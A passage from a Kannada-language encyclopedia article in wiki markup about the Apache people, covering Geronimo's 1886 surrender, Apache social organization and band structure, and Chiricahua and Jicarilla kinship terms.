ತಮ್ಮ ಭೂಮಿಗೆ ಮರಳುವುದಕ್ಕೆ ಶಕ್ತರಾದರು.{{Citation needed|date=May 2010}} === ಸೋಲು === ಈ ಕಾಲದ ಬಹುತೇಕ ಅಮೆರಿಕದ ಇತಿಹಾಸಕಾರರು [[ಆರಿಜೋನ|ಅರಿಝೋನಾ]]ದ ಸ್ಕೆಲೆಟನ್ ಕೆನಿಯೋನ್್ನಲ್ಲಿ ಸೆಪ್ಟೆಂಬರ್ 4 1886ರಂದು 5000 ಪಡೆಗಳು ಗೆರೋನಿಮೋದ 30ರಿಂದ 50 ಜನ ಪುರುಷರು, ಮಹಿಳೆಯರು ಮತ್ತು ಮಕ್ಕಳು ಶರಣಾಗುವಂತೆ ಮಾಡಿದ್ದನ್ನೇ ಅಂತಿಮ ಸೋಲೆಂದು ಹೇಳುತ್ತಾರೆ.<ref>ಮಿಲೆಸ್, ಪುಟ 526</ref> ಈ ಗುಂಪು ಮತ್ತು ಇವರನ್ನು ಪತ್ತೆಹಚ್ಚಿದ ಚಿರಿಕಹುಆ ಬೇಹುಗಾರರು ಎಲ್ಲರನ್ನೂ [[ಫ್ಲಾರಿಡ|ಫ್ಲೋರಿಡಾ]]ದಲ್ಲಿ ಫೋರ್ಟ್ ಪಿಕೆನ್ಸ್್ನಲ್ಲಿ ಮತ್ತು ನಂತರ ಓಕ್ಲಹಾಮಾದ ಫೋರ್ಟ್ ಸಿಲ್ಲ್್ನಲ್ಲಿ ಸೇನೆಯ ನಿರ್ಬಂಧದಲ್ಲಿ ಇರಿಸಲಾಯಿತು. 19ನೆಶತಮಾನದ ಕೊನೆಯ ಭಾಗದಲ್ಲಿ ಬೇಟೆಯಾಡುವುದು, ಬೋನು ರೂಪಿಸುವ ಕಥೆಗಳ ಕುರಿತು ಅನೇಕ ಪುಸ್ತಕಗಳನ್ನು ಬರೆಯಲಾಯಿತು. ಇವುಗಳಲ್ಲಿ ಅನೇಕ ಕಥೆಗಳು ಅಪಾಚೆ ದಾಳಿಗಳು ಮತ್ತು ಅಮೆರಿಕದವರು ಮತ್ತು ಮೆಕ್ಸಿಕೋದವರ ಜೊತೆ ಅವರು ಮಾಡಿಕೊಂಡ ಒಪ್ಪಂದದ ಕುರಿತು ಇವೆ. ಯುದ್ಧ ನಂತರದ ಕಾಲದಲ್ಲಿ, ಅಪಾಚೆ ಮಕ್ಕಳನ್ನು ಬಿಳಿಯ ಅಮೆರಿಕದವರು, ಆಸ್ಟ್ರೇಲಿಯಾದಲ್ಲಿರುವ ಕಳೆದುಹೋದ ತಲೆಮಾರುಗಳ ರೀತಿಯ ಕಾರ್ಯಕ್ರಮದಲ್ಲಿ ದತ್ತುಪಡೆದರು. == ಮೀಸಲು ಪೂರ್ವ ಸಂಸ್ಕೃತಿ == === ಸಾಮಾಜಿಕ ಸಂಘಟನೆ === [[ಚಿತ್ರ:Apache bride.jpg|thumb|right|150px|ಅಪಾಚೆ ವಧು]] ಸಾಮಾನ್ಯವಾಗಿ ಹತ್ತಿರಹತ್ತಿರ ಬದುಕುವ ಎಲ್ಲ ಅಪಾಚೆಯ ಜನರು ವಿಸ್ತೃತವಾದ ಕುಟುಂಬ ಘಟಕಗಳಲ್ಲಿ (ಅಥವಾ ''ಕುಟುಂಬ ಸಮುದಾಯ'' ಗಳಲ್ಲಿ) ಜೀವಿಸುತ್ತಾರೆ. ಇದರಲ್ಲಿ ಪ್ರತಿಯೊಂದು ಕುಟುಂಬಕ್ಕೂ ಪ್ರತ್ಯೇಕ ಮನೆ ಇರುತ್ತದೆ. ಒಂದು ವಿಸ್ತೃತ ಕುಟುಂಬವು ಸಾಮಾನ್ಯವಾಗಿ ಗಂಡ ಮತ್ತು ಹೆಂಡತಿ, ಅವರ ಅವಿವಾಹಿತ ಮಕ್ಕಳು ಮತ್ತು ಅವರ ಮದುವೆಯಾದ ಹೆಣ್ಣುಮಕ್ಕಳು, ಅವರ ವಿವಾಹಿತ ಮಗಳಂದಿರ ಗಂಡಂದಿರು ಮತ್ತು ಅವರ ವಿವಾಹಿತ ಹೆಣ್ಣುಮಕ್ಕಳ ಮಕ್ಕಳು ಇರುತ್ತಾರೆ. ಹೀಗೆ ವಿಸ್ತೃತ ಕುಟುಂಬವು ಮಹಿಳೆಯರ ಕುಲದ ಸಂಬಂಧದ ಮೂಲಕ ಒಟ್ಟಿಗೆ ಬದುಕುತ್ತಾರೆ. (ಅದೊಂದು ಅಳಿಯ ಸಂತಾನದ ನಿವಾಸ) ಇದರಲ್ಲಿ ಮದುವೆಯ ಬಳಿಕ ಪರುಷನ ಪ್ರವೇಶವಾಗುತ್ತದೆ. (ಆತ ತನ್ನ ಹೆತ್ತವರ ಕುಟುಂಬವನ್ನು ಬಿಟ್ಟುಬರುತ್ತಾನೆ.) ಮಗಳೊಬ್ಬಳ ಮದುವೆಯಾದಾಗ, ಅವಳಿಗೆ ಮತ್ತು ಅವಳ ಪತಿಗೆ ಹತ್ತಿರದಲ್ಲಿಯೇ ಮನೆಯೊಂದನ್ನು ಕಟ್ಟಿಕೊಡಲಾಗುತ್ತದೆ ನವಾಜೋಗಳಲ್ಲಿ ಮನೆಯ ಹಕ್ಕುಗಳು ಹಿರಿಯಳಾದ ತಾಯಿಯಿಂದ ಚಲಾವಣೆಯಾಗುತ್ತದೆ. ಹೀಗಿದ್ದರೂ ಪಶ್ಚಿಮದ ಅಪಾಚೆಗಳು ಅಳಿಯತನಕ್ಕೆ ಹೋಗಿ ನೆಲೆಯಾಗುವುದು ಸಾಮಾನ್ಯವಾದರೂ ಕೆಲವು ಸಲ ಹಿರಿಯ ಮಗನು ತನ್ನ ಪತ್ನಿಯನ್ನು ಮದುವೆಯ ಬಳಿಕ ತನ್ನ ಹೆತ್ತವರ ಮನೆಗೇ ಕರೆದುಕೊಂಡು ಬರುವುದನ್ನು ಆಯ್ಕೆಮಾಡಿಕೊಳ್ಳಬಹುದು. ಎಲ್ಲ ಬುಡಕಟ್ಟಿನವರು ಸೋದರ ಸಂಬಂಧಲ್ಲಿ ಮದುವೆ ಮತ್ತು ಅಣ್ಣ ಸತ್ತರೆ ಆತನ ಹೆಂಡತಿಯನ್ನು ತಮ್ಮ ಮದುವೆಯಾಗುವ ಪದ್ದತಿಯನ್ನು ಅನುಸರಿಸುತ್ತಾರೆ. ಎಲ್ಲ ಅಪಾಚೆ ಪುರುಷರು ತಮ್ಮ ಪತ್ನಿಯ ಅತಿ ಹತ್ತಿರದ ಸಂಬಂಧಿಗಳನ್ನು ದೂರವಿಡುವ ವಿವಿಧ ರೀತಿಗಳನ್ನು ರೂಢಿಸಿಕೊಂಡಿರುತ್ತಾರೆ. ಈ ಪರಿಪಾಠವು ಅತ್ತೆ ಮತ್ತು ಅಳಿಯನನ್ನು ಒಂದು ಅಂತರದಲ್ಲಿ ಇರಿಸುತ್ತದೆ. ಈ ದೂರವಿಡುವಿಕೆಯ ಪರಿಣಾಮ ತೀವ್ರತೆಯು ವಿವಿಧ ಅಪಾಚೆ ಗುಂಪುಗಳಲ್ಲಿ ಬೇರೆಬೇರೆಯಾಗಿರುತ್ತದೆ. ಇದರಲ್ಲಿ ಅತ್ಯಂತ ಪರ್ಯಾಲೋಚನೆಯಿಂದ ಮಾಡಿದ ವ್ಯವಸ್ಥೆ ಚಿರಿಕಹುಆಗಳಲ್ಲಿದೆ. ಇಲ್ಲಿ ಪುರುಷನು ಪರೋಕ್ಷವಾಗಿಯೇ ಮಾತನಾಡಬೇಕು ಮತ್ತು ತನ್ನ ಪತ್ನಿಯ ಸಂಬಂಧಿಗಳಲ್ಲಿ ತಾನು ಯಾರನ್ನು ದೂರವಿಡಬೇಕೋ ಅಂಥವರು ತನ್ನ ದೃಷ್ಟಿಗೆ ಬೀಳದಂತೆ ಇರಬೇಕು. ಆತನ ಮಹಿಳಾ ಚಿರಿಕಹುಆ ಸಂಬಂಧಿಗಳು ಮದುವೆಯ ಮೂಲಕವೂ ಅವನನ್ನು ದೂರವಿಡುತ್ತಾರೆ. ಅನೇಕ ವಿಸ್ತೃತ ಕುಟುಂಬಗಳು "ಸ್ಥಳೀಯ ಗುಂಪು" ಗಳಾಗಿ ಒಟ್ಟಿಗೆ ಕೆಲಸ ಮಾಡುತ್ತವೆ. ಇವು ನಿರ್ದಿಷ್ಟ ಸಮಾರಂಭಗಳನ್ನು ಮತ್ತು ಆರ್ಥಿಕ ಹಾಗೂ ಮಿಲಿಟರಿ ಚಟುವಟಿಕೆಗಳನ್ನು ನಡೆಸುತ್ತಾರೆ. ರಾಜಕೀಯ ನಿಯಂತ್ರಣವು ಸ್ಥಳೀಯ ಗುಂಪಿನ ಮಟ್ಟದಲ್ಲಿ ಬಹುತೇಕ ಇದ್ದವು. ಸ್ಥಳೀಯ ಗುಂಪುಗಳಿಗೆ ಒಬ್ಬ ಮುಖ್ಯಸ್ಥ ಇರುತ್ತಾನೆ. ಈತ ತನ್ನ ಪರಿಣಾಕಾರಿ ಕಾರ್ಯ ಮತ್ತು ಗೌರವದ ಮೂಲಕ ಗುಂಪಿನ ಉಳಿದವರ ಮೇಲೆ ಸಾಕಷ್ಟು ಪ್ರಭಾವವನ್ನು ಬೀರಿದವನಾಗಿರುತ್ತಾನೆ. ಅಪಾಚೆ ಸಂಸ್ಕೃತಿಯಲ್ಲಿ ಈ ಮುಖ್ಯಸ್ಥ ಅತ್ಯಂತ ನಿಕಟ ಸಾಮಾಜಿಕ ಪಾತ್ರವನ್ನು ಹೊಂದಿದ್ದ. ಈ ಪದವಿಯು ವಂಶಪಾರಂಪರ್ಯವಾಗಿ ಬರುವದಿಲ್ಲ. ಮತ್ತು ಈ ಪದವಿಯನ್ನು ಮೇಲಿಂದಮೇಲೆ ವಿವಿಧ ವಿಸ್ತೃತ ಕುಟುಂಬದ ಸದಸ್ಯರು ಭರ್ತಿ ಮಾಡುತ್ತಾರೆ. ಈ ಗುಂಪಿನ ಪ್ರತಿಯೊಬ್ಬ ಸದಸ್ಯನೂ ಈ ಮುಖ್ಯಸ್ಥನ ಮಾತನ್ನು ಮೀರುವುದಿಲ್ಲ ಎಂದಾದಾಗ ಮಾತ್ರ ಆತನ ನಾಯಕತ್ವವರು ಬಲಿಷ್ಠವಾದದ್ದು ಎಂದು ಮೌಲ್ಯಮಾಪನ ಮಾಡಲಾಗುತ್ತಿತ್ತು. ಪಶ್ಚಿಮ ಅಪಾಚೆಯವರು ಉತ್ತಮ ಮುಖ್ಯಸ್ಥನನ್ನು ಆಯ್ಕೆಮಾಡುವ ಮೌಲ್ಯಮಾಪನ ಮಾನದಂಡಗಳಲ್ಲಿ ಇವು ಸೇರಿವೆ: ಔದ್ಯಮೀಕತೆ, ಉದಾರತೆ, ನಿಷ್ಪಕ್ಷಪಾತತನ, ಸಹನಶೀಲತೆ, ಆತ್ಮಸಾಕ್ಷಿಯಂತೆ ನಡೆಯುವ ಗುಣ ಮತ್ತು ಭಾಷೆಯಲ್ಲಿ ನಿರ್ಗಳವಾಗಿ ಮಾತನಾಡುವ ಸಾಮರ್ಥ್ಯ. ಅನೇಕ ಅಪಾಚೆ ಜನರು ಸ್ಥಳೀಯ ಗುಂಪುಗಳಲ್ಲಿ ಒಟ್ಟಿಗೆ ಸೇರುತ್ತಾರೆ. ಇದಕ್ಕೆ "ಬಾಂಡ್ಸ್ (ಗುಂಪುಗಳು)" ಎನ್ನುವರು. ಬಾಂಡ್ ಸಂಘಟನೆಯು ಚಿರಿಕಹುಆ ಮತ್ತು ಪಶ್ಚಿಮ ಅಪಾಚೆಯವರಲ್ಲಿ ಅತ್ಯಂತ ಬಲಿಷ್ಠವಾಗಿತ್ತು. ಆದರೆ ಲಿಪಾನ್ ಮತ್ತು ಮೆಸ್ಕಲೆರೋಗಳಲ್ಲಿ ಇದು ದುರ್ಬಲವಾಗಿತ್ತು. ನವಾಜೋದವರು ಸ್ಥಳೀಯ ಗುಂಪುಗಳನ್ನು ಬಾಂಡ್್ಗಳಾಗಿ ಸಂಘಟಿಸಿಲ್ಲ, ಬಹುಶಃ ಇದಕ್ಕೆ ಕಾರಣ ಆರ್ಥಿಕತೆಯನ್ನು ಕಾಯ್ದುಕೊಳ್ಳುವ ಅಗತ್ಯ. ಹೀಗಿದ್ದರೂ ನವಾಜೋಗಳು ವಿಸ್ತೃತ ಕುಟುಂಬಕ್ಕಿಂತ ದೊಡ್ಡದಾದ ಸಂಬಂಧಿಗಳಿಂದ ಕೂಡಿ ಒಂದು ಗುಂಪಾದ "ಚಿಕ್ಕ ಸಂಘಟನೆ" ಹೊಂದಿದೆ. ಆದರೆ ಇದು ಸ್ಥಳೀಯ ಗುಂಪು ಸಮುದಾಯ ಅಥವಾ ಒಂದು ಬಾಂಡ್್ನಷ್ಟು ದೊಡ್ಡದಲ್ಲ. ದೊಡ್ಡ ಮಟ್ಟದಲ್ಲಿ ಪಶ್ಚಿಮ ಅಪಾಚೆಗಳು ಬಾಂಡ್್ಗಳನ್ನು ಗ್ರೀನ್್ವಿಲ್ಲೆ ಗುಡ್ವಿನ್ ಹೇಳಿದ "ಗುಂಪುಗಳಾಗಿ (ಗ್ರುಪ್ಸ್)" ಸಂಘಟಿಸಿದ್ದಾರೆ. ಆತ ಪಶ್ಚಿಮ ಅಪಾಚೆಯ ಐದು ಗುಂಪುಗಳನ್ನು ವರದಿ ಮಾಡಿದ್ದಾನೆ: ನಾರ್ಥನ್ ಟೋಂಟೋ, ಸದರ್ನ್ ಟೋಂಟೋ, ಸಿಬೆಕ್ಯು, ಸಾನ್ ಕಾರ್ಲೋಸ್ ಮತ್ತು ವೈಟ್ ಮೌಂಟೇನ್. ಜಿಕಾರಿಲ್ಲಾ ತಮ್ಮ ಬಾಂಡ್್ಗಳನ್ನು "ಮೋಯಿಟಿಸ್್"ಗಳಲ್ಲಿ ಗುಂಪುಮಾಡಿದ್ದಾರೆ. ಬಹುಶಃ ಇವರು ಈಶಾನ್ಯ ಪೆಬ್ಲೋಗಳನ್ನು ಉದಾಹರಣೆಯಾಗಿ ತೆಗೆದುಕೊಂಡಿರಬೇಕು. ಪಶ್ಚಿಮ ಅಪಾಚೆ ಮತ್ತು ನವಾಜೋಗಳು ಕೂಡ ಮಾತೃಪ್ರಧಾನ ಕುಟುಂಬ ವ್ಯವಸ್ಥೆಯನ್ನು ಹೊಂದಿದ್ದಾರೆ. ಒಬ್ಬನೇ ಮೂಲ ಪುರುಷನನ್ನು ಹೊಂದಿರುವ "ಕುಲ"ಗಳನ್ನು ಮುಂದೆ ''ಪ್ರಾಟ್ರೀಸ್್'' ಗಳಾಗಿ ಸಂಘಟಿಸಲಾಗಿದೆ. (ಬಹುಶಃ ಪಶ್ಚಿಮ ಪೆಬ್ಲೋಗಳ ಪ್ರಭಾವ ಇರಬಹುದು.) ಅಪಾಚೆ ಸಂಸ್ಕೃತಿಗಳಲ್ಲಿ ಟ್ರೈಬ್(ಬುಡಕಟ್ಟು)ನ ಕಲ್ಪನೆ ಅತ್ಯಂತ ದುರ್ಬಲವಾಗಿ ಬೆಳವಣಿಗೆ ಹೊಂದಿದ್ದು; ಅಗತ್ಯವಾಗಿ ಇದು ಒಂದೇ ಭಾಷೆ ಮಾತನಾಡುವ, ಒಂದೇ ರೀತಿ ಉಡುಪು ತೊಡುವ ಮತ್ತು ಒಂದೇ ರೀತಿಯ ಪದ್ಧತಿಗಳನ್ನು ಹೊಂದಿರುವವರನ್ನು ಅತ್ಯಲ್ಪ ಆತಿಥ್ಯಕ್ಕೆ ಕರೆದು ಋಣಸಂದಾಯಕ್ಕೆ ಅನುಕೂಲವಾಗಿಸುವ ಸಂಘಟನೆ.<ref>ಓಪ್ಲರ್ 1983ಎ, ಪುಟ.369</ref> ಈ ಏಳು ಅಪಾಚೆ ಬುಡಕಟ್ಟುಗಳು ಯಾವುದೇ ರಾಜಕೀಯ ಸಂಘಟನೆಯನ್ನು ಹೊಂದಿಲ್ಲ. (ಇಂಥ ಚಿತ್ರಣಗಳು ಸಾಮಾನ್ಯ ಗ್ರಹಿಕೆಗೆ ನಿಲುಕುವಂತಿದ್ದಾಗಲೂ)<ref>ಬಾಸ್ಸೋ1983</ref> ಮತ್ತು ಬಹಳ ಸಲ ಅವರು ಪರಸ್ಪರ ವೈರಿಗಳಾಗಿದ್ದಾಗಲೂ- ಉದಾಹರಣೆಗೆ, ಲಿಪಾನ್ ಮೆಸ್ಕಲೆರೋ ವಿರುದ್ಧ ಯುದ್ಧ ಮಾಡುತ್ತಿದ್ದರು, ಇದೇ ರೀತಿ ಕೊಮಾಂಚೆಗಳ ವಿರುದ್ಧವೂ ಯುದ್ಧಮಾಡುತ್ತಿದ್ದರು. ==== ರಕ್ತಸಂಬಂಧದ ವ್ಯವಸ್ಥೆ ==== ಅಪಾಚೆ ಬುಡಕಟ್ಟಿನವರು ಮೂಲಭೂತವಾಗಿ ಎರಡು ಆಶ್ಚರ್ಯಕರ ವಿಭಿನ್ನ ರಕ್ತಸಂಬಂಧ ಮಿತಿವ್ಯವಸ್ಥೆಗಳನ್ನು ಹೊಂದಿದ್ದಾರೆ.: ಒಂದು ''ಚಿರಿಕಹುಆ ರೀತಿ'' ಮತ್ತು ಇನ್ನೊಂದು ''ಜಿಕಾರಿಲ್ಲಾ ರೀತಿ.'' <ref>ಓಪ್ಲರ್ 1936ಬಿ</ref> ಚಿರಿಕಹುಆ-ರೀತಿ ಪದ್ಧತಿಯನ್ನು ಚಿರಿಕಹುಆ, ಮೆಸ್ಕರೆಲೋ ಮತ್ತು ಪಶ್ಚಿಮ ಅಪಾಚೆಯವರು ಅನುಸರಿಸುತ್ತಾರೆ. ಪಶ್ಚಿಮ ಅಪಾಚೆ ಪದ್ಧತಿ ಇತರ ಎರಡು ಪದ್ಧತಿಗಳಿಂದ ಸ್ವಲ್ಪ ಭಿನ್ನವಾಗಿದೆ ಮತ್ತು ಇದು ನವಾಜೋ ಪದ್ಧತಿಯೊಂದಿಗೆ ಕೆಲವು ಸಾಮ್ಯತೆಗಳನ್ನು ಹೊಂದಿದೆ. ಡಕೋಟಾ–ಇರೋಕೋಯಿಸ್ ರಕ್ತಸಂಬಂಧಿ ಪದ್ಧತಿಯಂತೆಯೇ ಇರುವ ಜಿಕಾರಿಲ್ಲಾ ರೀತಿಯನ್ನು ಜಿಕಾರಿಲ್ಲಾ, ನವಾಜೋ, ಲಿಪಾನ್ ಮತ್ತು ಪ್ಲೇನ್ಸ್ ಅಪಾಚೆ ಬಳಸುತ್ತಾರೆ. ನವಾಜೋ ಪದ್ಧತಿಯು ಹೆಚ್ಚು ವೈವಿಧ್ಯಮಯವಾಗಿದ್ದು ಚಿರಿಕಹುಆ ರೀತಿಯ ಪದ್ಧತಿಯೊಂದಿಗೆ ಸಾಮ್ಯತೆಗಳನ್ನು ಹೊಂದಿದೆ. ಲಿಪಾನ್ ಮತ್ತು ಪ್ಲೇನ್ ಅಪಾಚೆ ಪದ್ಧತಿಗಳು ಬಹುತೇಕ ಅದೇರೀತಿ ಇವೆ. ===== ಚಿರಿಕಹುಆ ===== [[ಚಿತ್ರ:Naiche ChiriApache hidepainting 1900 OHS.jpg|thumb|280px|ಅಪಾಚೆ ಹುಡುಗಿಯೊಬ್ಬಳು ಮೈನೆರೆದ ಉತ್ಸವವನ್ನು ಚರ್ಮದ ಚಿತ್ರಕಲೆಯಲ್ಲಿ ರೇಖಿಸಿರುವುದು. ನೈಚೆಯವರಿಂದ (ಚಿರಿಕಹುಆ ಅಪಾಚೆ), ಸುಮಾರು.1900 ಓಕ್ಲಹಾಮ ಇತಿಹಾಸ ಕೇಂದ್ರ]] ಚಿರಿಕಹುಆದವರು ನಾಲ್ಕು ವಿಭಿನ್ನ ಹೆಸರುಗಳನ್ನು ಹೊಂದಿದ್ದಾರೆ.ಗ್ರಾಂಡ್ ಪೇರಂಟ್ (ಅಜ್ಜ ಅಜ್ಜಿ): ''-ಚು'' <ref>ಅಪಾಚೆ ಭಾಷೆಯಲ್ಲಿ ಎಲ್ಲ ರಕ್ತ ಸಂಬಂಧಿ ಪದಗಳು ಅಂತರ್ಗತವಾಗಿ ಒಳಗೊಂಡಿರುತ್ತವೆ. ಇದರ ಅರ್ಥ ಅವುಗಳ ಹಿಂದೆ ಒಂದು ಅಂತರ್ಗತ ಪೂರ್ವ ಪ್ರತ್ಯಯ ಇರುತ್ತದೆ. ಅದರ ಮುಂದೆ ಕೂಡು ಗೆರೆ ಹಾಕಿ ಇದನ್ನು ಸೂಚಿಸುತ್ತಾರೆ.</ref> "ತಾಯಿಮನೆಯಿಂದ ಅಜ್ಜಿ", ''-ತ್ಸುಯೆ'' "ತಾಯಿಮನೆಯಿಂದ ಅಜ್ಜ", ''-ಚಿನೆ'' "ತಂದೆಯ ಮನೆಯಿಂದ ಅಜ್ಜಿ", ''-ನಲೆ'' "ತಂದೆಯ ಮನೆಯಿಂದ ಅಜ್ಜ". ಹೆಚ್ಚವರಿಯಾಗಿ, ಒಬ್ಬ ಅಜ್ಜ ಅಜ್ಜಿಯ ಮಕ್ಕಳನ್ನು ಅದೇ ಪದದಿಂದ ಗುರುತಿಸುವರು., ಹೀಗೆ ಒಬ್ಬರ ತಾಯಿಕಡೆಯಿಂದ ಅಜ್ಜಿ, ಒಬ್ಬರ ತಾಯಿಕಡೆಯಿಂದ ಅಜ್ಜಿಯ ಸಹೋದರಿಯರು ಮತ್ತು ಒಬ್ಬರ ತಂದೆಕಡೆಯಿಂದ ಅಜ್ಜಿಯ ಸಹೋದರರನ್ನು ''-ಚು'' .ಎಂದು ಕರೆಯುವರು. ಇನ್ನೂ ಹೆಚ್ಚಿನದೆಂದರೆ ಅಜ್ಜ ಅಜ್ಜಿ ಪದಗಳು ಪರಸ್ಪರ ಬಳಕೆಯಲ್ಲಿವೆ. ಹೇಗೆಂದರೆ ಅಜ್ಜ ಅಜ್ಜಿಯಂದಿರು ಅದೇ ಪದವನ್ನು ತಮ್ಮ ಮೊಮ್ಮಕ್ಕಳನ್ನು ಆ ಸಂಬಂಧದಲ್ಲಿ ಕರೆಯಲು ಬಳಸುವರು. ಉದಾಹರಣೆಗೆ, ಒಬ್ಬ ವ್ಯಕ್ತಿಯ ತಾಯಿಕಡೆಯಿಂದ ಅಜ್ಜಿಯಾದವಳನ್ನು ''-ಚು'' ಎಂದು ಕರೆಯಬಹುದು. ಮತ್ತು ಆ ತಾಯಿಕಡೆಯಿಂದ ಅಜ್ಜಿಯಾದವಳು ಆ ಮೊಮ್ಮಗನನ್ನೂ ''-ಚು'' ಎಂದೇ ಕರೆಯಬಹುದು (ಅದು ಹೀಗೆ. ''-ಚು'' ಅಂದರೆ ಒಬ್ಬರ ವಿರುದ್ಧ- ಲಿಂಗಿ ಮಕ್ಕಳ ಮಗಳ ಮಗ). ಚಿರಿಕಹುಆ ಸೋದರ ಸಂಬಂಧಿಗಳ ಸಂತತಿಯನ್ನು ರಕ್ತಸಂಬಂಧಿ ಪದಗಳಿಂದ ಪ್ರತ್ಯೇಕಿಸಿಲ್ಲ. ಹೀಗಾಗಿ ಒಂದೇ ಪದವನ್ನು ಸಂತತಿಗಾಗಲಿ ಅಥವಾ ಸೋದರ ಸಂಬಂಧಿಗಾಗಲಿ ಬಳಸುತ್ತಾರೆ. ( ಸಮಾನಾಂತರ ಸೋದರ ಸಂಬಂಧಿಗೆ ಮತ್ತು ಅಡ್ಡ ಸಂಬಂಧದ ಸೋದರ ಸಂಬಂಧಿಗಳಿಗೆ ಕರೆಯುವುದಕ್ಕೆ ಪ್ರತ್ಯೇಕ ಪದಗಳು ಇಲ್ಲ.) ಇದಲ್ಲದೆ ಪದಗಳನ್ನು ಮಾತನಾಡುವವನ ಲಿಂಗಕ್ಕೆ ಅನುಗುಣವಾಗಿ ಬಳಸುತ್ತಾರೆ. (ಇಂಗ್ಲಿಷ್ ಪದಗಳಾದ ''ಸಹೋದರ'' ಮತ್ತು ''ಸಹೋದರಿ'' ಯಂತೆ ಅಲ್ಲ) ''-kʼis(ಕಿಸ್) '' "ಇದೇ ರೀತಿಯ- ಲಿಂಗ ಸಂತಾನ ಅಥವಾ ಅದೇ ರೀತಿಯ ಲಿಂಗದ ಸಹೋದರ ಸಂಬಂಧಿಗಳು", ''-´-ląh (ಅಹ್)'' "ವಿರುದ್ಧ ಲಿಂಗದ ಸಂತಾನ ವಿರುದ್ಧ ಲಿಂಗದ ಸಹೋದರ ಸಂಬಂಧಿ." ಇದರರ್ಥ ಒಬ್ಬ ಗಂಡಸು ಇದ್ದರೆ ಆತನ ಸಹೋದರನನ್ನು ''-kʼis ಕಿಸ್'' ಎಂದು ಮತ್ತು ಆ ಒಬ್ಬ ಗಂಡಸಿನ ಸಹೋದರಿಯನ್ನು ''-´-ląh-`-ಅಹ್'' ಎಂದು ಕರೆಯುವರು. ಒಬ್ಬಳು ಮಹಿಳೆಯಾಗಿದ್ದರೆ ಆಗ ಅವಳ ಸಹೋದರನನ್ನು ''-´-ląh ಅಹ್'' ಎಂದು ಮತ್ತು ಅವಳ ಸಹೋದರಿಯನ್ನು ''-kʼis -ಕಿಸ್'' ಎಂದು ಕರೆಯಲಾಗುವುದು. ಚಿರಿಕಹುಆ ''ಅಹ್'' ಸಂಬಂಧದಲ್ಲಿ ಸಂಬಂಧಿ ಮತ್ತು ಸಹೋದರ ಸಂಬಂಧಿಗಳ ಬಗ್ಗೆ ಅತಿಯಾದ ನಿರ್ಬಂಧಮತ್ತು ಗೌರವಗಳಿವೆ. (ಆದರೆ ಸಂತತಿಯವರ ಬಗ್ಗೆಯಲ್ಲ). ''ಅಹ್'' ಸಂಬಂಧದಲ್ಲಿ ಸಂಪೂರ್ಣ ''ಪರಿತ್ಯಾಗ'' ದ ಪದ್ಧತಿ ಇದೆ. ಪ್ರತಿಯೊಬ್ಬ ಪಾಲಕರಿಗೆ ಎರಡು ವಿಭಿನ್ನ ಪದಗಳನ್ನು ಲಿಂಗಕ್ಕೆ ಅನುಗುಣವಾಗಿ ಬಳಸುತ್ತಾರೆ: ''-ಮಾʼ'' "ಮದರ್(ತಾಯಿ)", ''-ತಾ'' "ಫಾದರ್(ತಂದೆ)". ಇದೇರೀತಿ, ಪಾಲಕರ ಮಕ್ಕಳಿಗೂ ಅವರ ಲಿಂಗಕ್ಕೆ ಅನುಗುಣವಾಗಿ ಎರಡು ಪದಗಳಿವೆ: ''-ಯಾಚ್ʼಇʼ'' "ಡಾಟರ್(ಮಗಳು)", ''-ಘೇʼ'' "ಸನ್ (ಪುತ್ರ)". ಒಬ್ಬ ಪಾಲಕರ ಸಂತಾನವನ್ನು ಲಿಂಗ ಭೇದವಿಲ್ಲೆ ಒಟ್ಟಿಗೆ ವರ್ಗೀಕರಿಸುತ್ತಾರೆ: ''-ಘುಯೇ'' "ತಾಯಿ ಕಡೆಯಿಂದ ಚಿಕ್ಕಮ್ಮ ಅಥವಾ ಸೋದರಮಾವ (ತಾಯಿಯ ಸಹೋದರ ಅಥವಾ ಸಹೋದರಿ)", ''-ಡೀಡೀʼ'' "ತಂದೆಯ ಕಡೆಯಿಂ ಅತ್ತೆ ಅಥವಾ ಚಿಕ್ಕಪ್ಪ (ತಂದೆಯ ಸಹೋದರ ಅಥವಾ ಸಹೋದರಿ)". ಈ ಎರಡು ಪದಗಳು ಅಜ್ಜಅಜ್ಜಿ/ಮೊಮ್ಮಕ್ಕಳು ಪದಗಳ ಹಾಗೆ ಪರಸ್ಪರ ಬಳಕೆಯಾಗುತ್ತವೆ. ಹೀಗೆ, ''-ಘುಯೇ'' ಇದನ್ನು ಒಬ್ಬರ ವಿರುದ್ಧ ಲಿಂಗಿ ಸಂತಾನದ ಮಗ ಅಥವಾ ಮಗಳನ್ನು ಕರೆಯಲೂ ಬಳಸುವರು (ಅದು ಹೀಗೆ, ಒಬ್ಬ ವ್ಯಕ್ತಿ ತನ್ನ ತಾಯಿ ಕಡೆಯ ಚಿಕ್ಕಮ್ಮನನ್ನು ''-ಘುಯೇ'' ಎಂದು ಕರೆಯಬಹುದು ಮತ್ತು ಆ ಚಿಕ್ಕಮ್ಮ ಪ್ರತಿಯಾಗಿ ಅವರನ್ನು ''-ಘುಯೇ'' ಎಂದು ಕರೆಯಬಹುದು). ===== ಜಿಕಾರಿಲ್ಲಾ ===== ಚಿರಿಕಹುಆ ವ್ಯವಸ್ಥೆಯಂತೆ ಅಲ್ಲದ, ಜಿಕಾರಿಲ್ಲಾ ಅಜ್ಜಅಜ್ಜಿಯರಿಗೆ ಲಿಂಗಕ್ಕೆ ಅನುಗುಣವಾಗಿ ಕೇವಲ ಎರಡು ಪದಗಳನ್ನು ಹೊಂದಿದೆ: ''-ಚೂ'' "ಅಜ್ಜಿ", ''-ತ್ಸೋಯೀ'' "ಅಜ್ಜ". ತಾಯಿಕಡೆ ಅಥವಾ ತಂದೆ ಕಡೆ ಅಜ್ಜಅಜ್ಜಿಗೆ ಪ್ರತ್ಯೇಕ ಪದಗಳು ಇಲ್ಲ. ಒಬ್ಬ ಅಜ್ಜಅಜ್ಜಿಯರ ಸಂತಾನದ ಲಿಂಗಕ್ಕೆ ಅನುಗುಣವಾಗಿ ಈ ಪದಗಳನ್ನು ಬಳಸುತ್ತಾರೆ. ಹೀಗೆ, ''-ಚೂ'' ಪದವು ಒಬ್ಬರ ಅಜ್ಜಿ ಅಥವಾ ಒಬ್ಬರ ಅಜ್ಜನ ತಂಗಿಗೆ ಬಳಕೆಯಾಗುತ್ತದೆ. (ತಾಯಿಕಡೆಯಿಂದ ಅಥವಾ ತಂದೆ ಕಡೆಯಿಂದ ಇರಬಹುದು); ''-ತ್ಸೋಯಿ'' ಯೆಂದು ಒಬ್ಬರ ಅಜ್ಜ, ಅಜ್ಜನ 